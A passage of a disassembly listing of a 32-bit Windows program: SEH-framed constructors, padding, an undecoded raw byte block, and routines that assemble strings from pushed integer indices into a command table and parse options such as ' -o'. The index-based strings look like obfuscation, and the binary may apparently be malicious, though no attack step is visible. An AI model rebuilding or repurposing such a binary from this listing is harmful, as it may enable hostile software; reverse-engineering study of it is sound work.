		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah
		dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh
		dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h
		dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh
		dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h,	0FFFFCDB2h
		dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh
		dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h
		dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h
		dd 0E8FFFFCDh, 23CC333h, 0B8C88B90h, 10624DD3h,	0EAC1E1F7h
		dd 244C8D06h, 556890Ch,	5C247C89h, 0FFCD51E8h, 244C8BFFh
		dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
